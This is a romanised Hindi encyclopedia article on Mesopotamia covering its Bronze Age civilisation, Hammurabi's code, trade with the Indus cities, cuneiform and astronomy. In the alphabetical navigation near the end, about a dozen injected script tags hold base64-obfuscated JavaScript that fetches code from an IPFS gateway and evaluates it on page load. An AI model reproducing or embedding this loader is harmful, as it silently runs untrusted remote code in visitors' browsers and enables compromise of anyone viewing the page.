मेसोपोटामिया

	mesopotamiya
	mesopotamiya\|200px\|center
vivaran	'mesopotamiya' vishv ki sarvadhik prachin sabhyata vala sthan hai. ise kaansyayugin sabhyata ka udgam sthal mana jata hai.
sammilit kshetr	iraq, uttar-poorvi siriya, dakshin-poorvi turki tatha eeran ka quzestan praant.
sanbandhit lekh	hammoorabi, h dappa, mohanajoda do, chanhood doan, h dappa samaj aur sanskriti, sindhu lipi
any janakari	mesopotamiya ke logoan ka mukhy vyavasay krishi tha. kumhar ke chak ka prayog sarvapratham isi sabhyata mean hua.

mesopotamiya (aangrezi: Mesopotamia) prachin sabhyata se ju da ek mahattvapoorn ilaqa hai. yah ek kaansy yugin sabhyata thi. yah ilaqa dajala^[1] aur farat^[2] nadiyoan ke bich ke kshetr mean p data hai. isamean adhunik iraq, uttar-poorvi siriya, dakshin-poorvi turki tatha eeran ka quzestan praant ke kshetr sammilit haian. mesopotamiya ka yoonani arth hai- "do nadiyoan ke bich".

kaansy yugin sabhyata

yah kaansy yugin sabhyata ka udgam sthal mana jata hai. yahaan sumer, akkad sabhyata, bebilon tatha asiriya ke samrajy alag-alag samay mean sthapit hue the. mesopotamiya hazaroan sal tak ek krishi pradhan samaj tha. usake bad hi vah ek adhunik rajy ke roop mean ubhara.

itihas

chauthi shatabdi ee. poo. ke aant tak mesopotamiya mean rajyoan ki sthapana ho chuki thi aur 'dajala aur farat' nadiyaan jahaan qarib a jati haian, vahaan bebilon nagar bas chuka tha. yah ek b da vyaparik nagar tha, jahaan b di-b di mandiyaan aur godam the. bebilon mean 1792 ee. poo. mean 'hammoorabi' namaka ek shasak hua tha, jisane 1750 ee. poo. tak shasan kiya. bebilon mean apar sampada thi aur hammoorabi ke pas vishal sena. hammoorabi ek-ek kar as-pas ke rajy hastagat karata gaya. apane ap ko vah devata samajhata tha aur is bat ka use bahat garv tha. usane apani praja ke liye ek qanoon sanhita banaee thi, jo itihas mean 'hammoorabi sanhita' ke nam se bahut prasiddh hai.thumb|left|250px|hammoorabi sanhita

ayat niryat

sindhu se mesopotamiya ko niryat ki jane vali vastuoan mean sooti vastr, imarati lak di, mashale, hathidaant evan pashu-pakshi rahe hogean. ur, kish, lagash, nishpur, tel asmar, tepe, gavara, hama adi mesopotamiya ke nagaroan se sindhu sabhyata ki lagabhag ek darjan muharean mili haian. mesepotamiya se sindhu sabhyata ke nagaroan dvara ayat ki jane vali vastuoan mean mohanajoda do se prapt haritabh rang ka klorait prastar ka tuk da, jis par chataee ki tarah dijain bani hai, ullekhaniy hai. mesopatamiya aur sindhu sabhyata ke bich vyaparik sambandhoan ke vishay mean abhilekhiy sakshyoan ke adhar par yah jnat hota hai ki dilamun se sona, chaandi, lajavard, maniky ke manake, hathidaant, ki kanghi, pashu-pakshi, abhooshan adi ayat kiya jata tha. mesopatamiya mean prapt siandhu sabhyata se sambandhit abhilekhoan evan muharoan par ‘meluha‘ ka zikr milata hai. mesopotamiya mean pravesh hetu ‘ur‘ uk mahattvapoorn bandaragah tha. dilamun ki pahachan faras ki kha di ke baharin dvip se ki jati hai. dilamun saiandhav vyaparik kendroan tatha mesopotamiya ke sath vyapar ka madhyasth bandaragah tha. bharat mean lothal se faras ki muharean prapt huee haian. unhoanne uttari afaganistan mean ek vanijy upanivesh sthapit kiya tha, jisake sahare unaka vyapar madhy eshiya ke sath chalata tha.

mahattvapoorn tathy

thumb|250px|british sangrahalay, mesopotamiya

mesopotamiya ke logoan ka mukhy vyavasay krishi tha. kumhar ke chak ka prayog sarvapratham isi sabhyata mean hua.
sumeriyan logoan ne 'kyoonipharm lipi' vikasit ki thi. sabase pahale ek british aphasar henari r aaulinsan ne ise ise padha tha.
paithogoras pramey bhi mesopotamiya sabhyata ki hi den hai.
is sabhyata ke log khagolavidya mean bhi nipun the. in logoan ne din aur rat ki lambaee ki ganana ki tatha soory aur chandrama ke uday v ast hone ke samay ki ganana ki.
yahaan ke khagolavidoan ne ek din ko 24 ghantoan mean baanta. unhoanne akash ko 12 hissoan mean baanta v pratyek ko ek nam diya. inhean rashiyaan kaha gaya. chandr kalaindar bhi inake dvara banaya gaya.
aitihasik pramanoan se yah siddh hota hai ki samudri marg se sumer, bebilon aur sindhu pradesh ke bich gahare vyapari sambandh the. bhootakal mean bharat bhi vanijy sanbandhi karyoan mean bahut prasiddhi prapt kar chuka tha.
misr, mesopotamiya aur chin ki aranbhik lipiyaan mukhyat: bhav-chitratmak thian.
lothal ka bandaragah mahattvapoorn upalabdhiyoan mean se tha. is bandaragah par misr tatha mesopotamiya se jahaz ate jate the. mesopotamiya ki ek utkirn mudra bhi lothal se mili hai. in pramanoan se yah prakat hota hai ki samudri marg se bhi sumer-bebilon aur sindhu pradesh ke bich gahare vyapari sambandh the.
isamean sandeh nahian ki h dappa samuday ki shahari abadi mean jo arthik vishamata thi, vah lagabhag vargabhed jaisi thi.^[3] vhilar ki ray hai ki h dappa aur mesopotamiya ke nivasiyoan ke bich das vyapar bhi hua karata tha.^[4]
yah jnat nahian hai ki apane dainik vyavahar mean sindhujan kis lekhan-samagri ka istemal karate the. unake samakalin mesopotamiya ke nivasi ek chhoti kil se gili mitti ke phalakoan par akshar ukerate the. ve kilakshar lekh padhe ja chuke haian, parantu sindhu lipi abhi bhi ajney bani huee hai.

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ tigaris
↑ iyufretis
↑ chaild : d most enashieant eest, prishth 175.
↑ vhilar : ‘d iandas sivilijeshan’, (saplimeant valyoom tu keanbrij histri aauf iandiya, I), prishth 94.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] tigaris

[2] yufretis

[3] : d most enashieant eest, prishth 175.

[4] vhilar : ‘d iandas sivilijeshan’, (saplimeant valyoom tu keanbrij histri aauf iandiya, I), prishth 94.

[1]

[2]

[3]

[4]